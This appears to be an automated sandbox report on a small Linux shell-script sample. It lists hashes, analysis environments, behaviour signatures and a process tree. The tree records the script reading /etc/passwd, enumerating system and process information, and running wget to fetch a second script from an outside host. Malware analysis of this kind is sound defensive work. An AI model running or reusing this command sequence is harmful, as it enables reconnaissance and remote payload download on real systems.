Analysis
- max time kernel
1s - max time network
2s - platform
debian-9_armhf - resource
debian9-armhf-20260513-en - resource tags
arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem - submitted
02/08/2026, 15:16
Static task
static1
Behavioral task
behavioral1
Sample
3310f21072f9241ab7e36ee3c2878c2caed45d41d4ad8f5a0c4f35fd0593d744.sh
Resource
ubuntu1804-amd64-20260513-en
ubuntu-18.04-amd64
4 signatures
40 seconds
Behavioral task
behavioral2
Sample
3310f21072f9241ab7e36ee3c2878c2caed45d41d4ad8f5a0c4f35fd0593d744.sh
Resource
debian9-armhf-20260513-en
debian-9-armhf
4 signatures
40 seconds
Behavioral task
behavioral3
Sample
3310f21072f9241ab7e36ee3c2878c2caed45d41d4ad8f5a0c4f35fd0593d744.sh
Resource
debian9-mipsbe-20260513-en
debian-9-mips
0 signatures
40 seconds
Behavioral task
behavioral4
Sample
3310f21072f9241ab7e36ee3c2878c2caed45d41d4ad8f5a0c4f35fd0593d744.sh
Resource
debian9-mipsel-20260513-en
debian-9-mipsel
0 signatures
40 seconds
General
- Target 3310f21072f9241ab7e36ee3c2878c2caed45d41d4ad8f5a0c4f35fd0593d744.sh
- Size 178B
- Sample260802-snzffa11by
- SHA256 3310f21072f9241ab7e36ee3c2878c2caed45d41d4ad8f5a0c4f35fd0593d744
- MD5 fd6f868fcd84bcb9c826e6a8cad4ad1e
- SHA1 3b2413aebb7b51940706ae11e42ccc046a44010c
- SHA512 c4a26b3d52319875a44f37b85c97a30765cc3fbe39752a3286c8612ba6d0adcf5ec58abd030032c937111caf862441164fd2602a576e091dd13ed97ea2828d46
- TLSH T14AC0C0CB42049B280D17C110868842BAE040C20A1300409CC8F8858B00BC70AA2019C1
- MD5 SHA1 SHA512 TLSH
Score
6/10
Malware Config
Signatures
- Enumerates running processes
Discovers information about currently running processes on the system
- Discovers running processes 1 TTPs 1 IoCs
Running process information can be used to identify security tools or plan follow-on actions.
pid Process 679 ps - Reads CPU attributes 1 TTPs 1 IoCs
description ioc Process File opened for reading /sys/devices/system/cpu/online ps -
description ioc Process File opened for reading /proc/filesystems ls File opened for reading /proc/15/cmdline ps File opened for reading /proc/20/cmdline ps File opened for reading /proc/107/status ps File opened for reading /proc/646/cmdline ps File opened for reading /proc/2/cmdline ps File opened for reading /proc/17/cmdline ps File opened for reading /proc/19/cmdline ps File opened for reading /proc/134/cmdline ps File opened for reading /proc/636/cmdline ps File opened for reading /proc/10/status ps File opened for reading /proc/13/stat ps File opened for reading /proc/13/status ps File opened for reading /proc/21/status ps File opened for reading /proc/23/stat ps File opened for reading /proc/230/status ps File opened for reading /proc/328/cmdline ps File opened for reading /proc/330/status ps File opened for reading /proc/15/stat ps File opened for reading /proc/23/status ps File opened for reading /proc/155/cmdline ps File opened for reading /proc/330/cmdline ps File opened for reading /proc/647/stat ps File opened for reading /proc/4/status ps File opened for reading /proc/15/status ps File opened for reading /proc/26/stat ps File opened for reading /proc/282/stat ps File opened for reading /proc/648/cmdline ps File opened for reading /proc/677/status ps File opened for reading /proc/8/status ps File opened for reading /proc/11/cmdline ps File opened for reading /proc/14/status ps File opened for reading /proc/96/status ps File opened for reading /proc/108/stat ps File opened for reading /proc/295/stat ps File opened for reading /proc/317/cmdline ps File opened for reading /proc/328/status ps File opened for reading /proc/filesystems ps File opened for reading /proc/18/stat ps File opened for reading /proc/41/status ps File opened for reading /proc/105/stat ps File opened for reading /proc/107/cmdline ps File opened for reading /proc/595/status ps File opened for reading /proc/671/stat ps File opened for reading /proc/679/stat ps File opened for reading /proc/139/cmdline ps File opened for reading /proc/9/cmdline ps File opened for reading /proc/20/status ps File opened for reading /proc/108/cmdline ps File opened for reading /proc/284/status ps File opened for reading /proc/671/status ps File opened for reading /proc/679/cmdline ps File opened for reading /proc/5/stat ps File opened for reading /proc/16/status ps File opened for reading /proc/27/status ps File opened for reading /proc/136/stat ps File opened for reading /proc/136/cmdline ps File opened for reading /proc/169/status ps File opened for reading /proc/343/cmdline ps File opened for reading /proc/3/cmdline ps File opened for reading /proc/24/stat ps File opened for reading /proc/25/cmdline ps File opened for reading /proc/29/status ps File opened for reading /proc/42/status ps
Processes
-
/tmp/3310f21072f9241ab7e36ee3c2878c2caed45d41d4ad8f5a0c4f35fd0593d744.sh/tmp/3310f21072f9241ab7e36ee3c2878c2caed45d41d4ad8f5a0c4f35fd0593d744.sh1⤵PID:648
-
/bin/unameuname -a2⤵PID:654
-
-
/usr/bin/idid2⤵PID:657
-
-
/bin/lsls -la /2⤵
- Reads runtime system information
PID:662
-
-
/bin/catcat /etc/passwd2⤵PID:668
-
-
/usr/bin/wgetwget http://example.com/y.sh2⤵PID:670
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
- Reads runtime system information
PID:679
-